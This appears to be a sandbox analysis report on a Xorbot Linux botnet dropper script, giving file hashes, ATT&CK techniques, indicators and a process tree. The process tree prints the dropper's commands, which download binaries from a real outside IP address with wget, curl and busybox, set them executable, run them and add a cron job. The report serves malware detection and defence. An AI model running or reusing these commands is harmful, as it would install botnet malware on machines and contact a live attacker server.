xorbot | 2c63a569d43b7721befa5dc6c53dc0d804dcc9302c76c9b789eb1a06d2c111fc

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/12/2024, 13:27

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General

Target

bins.sh
Size

10KB
MD5

5487a00d588e2fdee33384c6b9083650
SHA1

42d5da8e0c679b5ea93e9de5acb601fd23b68d74
SHA256

2c63a569d43b7721befa5dc6c53dc0d804dcc9302c76c9b789eb1a06d2c111fc
SHA512

3d9256d28169556b0aad9cd820dc6c931c4d02608aa9749ec56e4ae3e288babc3a1e8553c5982b7998acafb808d0a49f9c296f6ee8e0b2c358c1016730e6866d
SSDEEP

192:RfUJYggpIpkktsx4uxlenHOqtx547v+zFFw9Zhkkts3xlq3OqHx547vSFFw9ZvAh:RfD4uxlenj/xlqQW

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1989) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1491	chmod
1506	chmod
1513	chmod
1520	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	1492	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	1507	vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	1514	9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	1521	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Renames itself 1 IoCs

pid	Process
1522	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.sYivGH	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1556/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1618/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1621/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1636/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1799/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1089/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1576/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1604/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1656/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/85/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/531/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1278/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1559/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1639/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1648/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1825/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1570/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1661/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1686/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1756/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1794/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/461/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1545/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1625/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1660/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1673/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1765/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1797/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/15/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1294/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1530/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1538/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1670/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1690/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1711/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/249/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1479/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1748/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/83/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/707/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1600/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/34/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1561/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1586/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1654/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/22/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/115/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1080/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1813/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1826/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1662/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/21/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1564/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1582/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1633/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1655/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/476/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1555/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1638/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/27/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1143/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1184/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1258/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
File opened for reading	/proc/1567/cmdline	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	curl
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	busybox
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	busybox
File opened for modification	/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	curl
File opened for modification	/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	wget
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	wget
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	wget
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	curl
File opened for modification	/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	wget
File opened for modification	/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	busybox
File opened for modification	/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	curl
File opened for modification	/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1473
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1474
- /usr/bin/wget
  wget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Writes file to tmp directory
  PID:1475
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Writes file to tmp directory
  PID:1482
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/chmod
  chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - File and Directory Permissions Modification
  PID:1491
- /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Executes dropped EXE
  PID:1492
- /bin/rm
  rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  PID:1494
- /usr/bin/wget
  wget http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Writes file to tmp directory
  PID:1495
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod 777 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  ./vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Executes dropped EXE
  PID:1507
- /bin/rm
  rm vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://216.126.231.164/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod 777 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  ./9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Executes dropped EXE
  PID:1514
- /bin/rm
  rm 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  PID:1516
- /usr/bin/wget
  wget http://216.126.231.164/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Writes file to tmp directory
  PID:1517
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod 777 qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  ./qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1521
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1523
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1524
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1525
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1526
- /bin/rm
  rm qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://216.126.231.164/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
  2⤵
  PID:1531

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.sYivGH

Filesize
210B

MD5
c9e037bd6784f40ea86a81a3d2e4631f

SHA1
61e169d45b0b18954fb00ce2641d8313571cb0f5

SHA256
e95fd620329a052e387def43a44f65a3c3a5c087bd9a2f93d120178d010bfd32

SHA512
d55ec01a307cf2d5baae5265affa0192e21b9ac4880f019ccbf6ca63b5b19a63fa8e6cdc177c5710c5910d4dda19b466db941c578df8e4b69bd0127b299c0b2f

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads